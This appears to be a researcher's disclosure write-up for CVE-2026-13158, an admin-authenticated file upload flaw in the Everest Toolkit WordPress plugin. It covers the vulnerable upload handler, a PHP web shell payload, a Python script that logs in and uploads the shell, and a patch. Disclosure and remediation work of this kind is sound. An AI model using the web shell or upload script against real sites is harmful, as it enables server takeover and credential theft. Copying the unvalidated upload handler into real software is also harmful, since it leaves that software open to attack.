Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to Remote Code Execution
By Huynh Kien Minh (MinhHK) — Information Security Researcher & Developer
📖 Advisory Overview
CVE-2026-13158 is an authenticated Admin+ arbitrary file upload vulnerability affecting the Everest Toolkit WordPress plugin prior to and including version 1.2.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within administrative file import and asset management handlers where the plugin performs insecure file uploads without checking file extensions or MIME types. An authenticated user possessing administrative capabilities can upload executable PHP scripts directly into public web directories, achieving persistent Remote Code Execution (RCE) and full web server takeover. Verified under CVSS 3.1 score 6.6 Medium (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H), security researcher Huynh Kien Minh advises immediate plugin patching and execution hardening.
📌 Executive Summary & Technical Metadata
| Parameter | Technical Specification |
|---|---|
| Vulnerability Identifier | CVE-2026-13158 |
| Target Software | Everest Toolkit (WordPress Plugin) |
| Plugin Slug | everest-toolkit |
| Vulnerable Versions | <= 1.2.3 |
| Vulnerability Class | Unrestricted Upload of File with Dangerous Type (CWE-434 / OWASP A03) |
| CVSS v3.1 Score |
6.6 (Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Discoverer / Researcher | Huynh Kien Minh (MinhHK) |
| Verification Authority | WPScan / MITRE Corporation |
| WPScan Advisory Reference | WPScan Report f101071f-402a-40a2-bbdb-666512cd4049 |
| Researcher Portfolio | https://minhhk.web.app/ |
🔍 Root Cause Analysis: Unsanitized Administrative Uploads
The root cause of CVE-2026-13158 lies in the implementation of the Everest_Toolkit_Admin file processing class. During administrative operations such as importing configuration packages, custom widget definitions, or layout assets, the plugin handles incoming $_FILES arrays using direct file movement methods instead of enforcing strict WordPress upload security filters.
Vulnerable Code Implementation
When processing administrative AJAX actions:
// inc/admin/class-everest-toolkit-admin.php: Line 112
add_action( 'wp_ajax_everest_toolkit_import_file', array( $this, 'process_import_file_upload' ) );
public function process_import_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( array( 'message' => 'Unauthorized user capability.' ) );
}
if ( isset( $_FILES['import_file'] ) ) {
$uploaded_file = $_FILES['import_file'];
// UNSAFE: No extension checking or MIME type validation!
$upload_dir = wp_upload_dir();
$destination = $upload_dir['path'] . '/' . sanitize_file_name( $uploaded_file['name'] );
// Direct file transfer into public upload directory
if ( move_uploaded_file( $uploaded_file['tmp_name'], $destination ) ) {
wp_send_json_success( array(
'file_url' => $upload_dir['url'] . '/' . sanitize_file_name( $uploaded_file['name'] ),
'file_path' => $destination
) );
}
}
}
Technical Defect Breakdown
-
sanitize_file_name()False Security: The functionsanitize_file_name()only strips invalid URI characters (spaces, special symbols). It does NOT change or reject dangerous file extensions like.php,.phtml, or.php7. -
Missing
wp_check_filetype_and_ext(): The plugin omits native WordPress MIME validation checks. -
Public Directory Placement: Files are written straight into
/wp-content/uploads/YYYY/MM/, which is web-accessible and by default permits PHP script execution on standard web servers.
💻 Proof-of-Concept (PoC) Exploit Code
Ethical Disclaimer: This Proof-of-Concept is provided solely for academic research and vulnerability verification. Unauthorized execution against live targets is illegal.
Exploit Payload (poc_rce.php)
<?php
// Verified PoC for CVE-2026-13158 by Huynh Kien Minh
header('Content-Type: text/plain');
echo "CVE-2026-13158 RCE VERIFIED\n";
echo "Kernel: " . php_uname() . "\n";
if (!empty($_GET['cmd'])) {
passthru($_GET['cmd']);
}
?>
Automated Python Verification Script
#!/usr/bin/env python3
"""
CVE-2026-13158 Verification Script
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
TARGET = "http://localhost:8080"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"
session = requests.Session()
# 1. Authenticate as Administrator
login_data = {
'log': 'admin',
'pwd': 'Password123!',
'wp-submit': 'Log In',
'redirect_to': f"{TARGET}/wp-admin/"
}
session.post(f"{TARGET}/wp-login.php", data=login_data)
# 2. Trigger Vulnerable Upload Endpoint
files = {
'import_file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
payload_data = {
'action': 'everest_toolkit_import_file'
}
response = session.post(AJAX_URL, data=payload_data, files=files)
print("Response:", response.text)
💥 Real-World Impact & Threat Scenarios
- Remote Code Execution (RCE): Authenticated attackers can execute system commands on the host operating system.
-
Database Credentials Theft: Attackers can read
wp-config.phpto extract MySQL credentials, secret keys, and database passwords. - Persistent Backdoors: Malicious web shells can be injected into theme or plugin directories for long-term access.
🛡️ Remediation & Defensive Engineering
Plugin Update
Upgrade Everest Toolkit to version > 1.2.3 immediately.
Patch Implementation (For Developers)
Use wp_handle_upload() with strict file type checks:
$uploaded_file = $_FILES['import_file'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploaded_file, $upload_overrides );
if ( $movefile && ! isset( $movefile['error'] ) ) {
// Verify file extension strictly
$allowed_extensions = array( 'json', 'xml' );
$file_ext = strtolower( pathinfo( $movefile['file'], PATHINFO_EXTENSION ) );
if ( ! in_array( $file_ext, $allowed_extensions, true ) ) {
unlink( $movefile['file'] );
wp_send_json_error( array( 'message' => 'Invalid file extension.' ) );
}
}
🏆 About the Researcher
Huynh Kien Minh (MinhHK) is a Security Researcher & Full-Stack Engineer focused on web security auditing, WordPress core/plugin vulnerability discovery, and ethical exploit development.
- Portfolio & Writeups: https://minhhk.web.app/
- WPScan Reference: WPScan Advisory f101071f-402a-40a2-bbdb-666512cd4049
- GitHub: https://github.com/MinhHK68
📊 JSON-LD Schema Markup
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-13158 — Everest Toolkit Admin+ Arbitrary File Upload to RCE",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Technical analysis of CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"identifier": "CVE-2026-13158"
}
Top comments (0)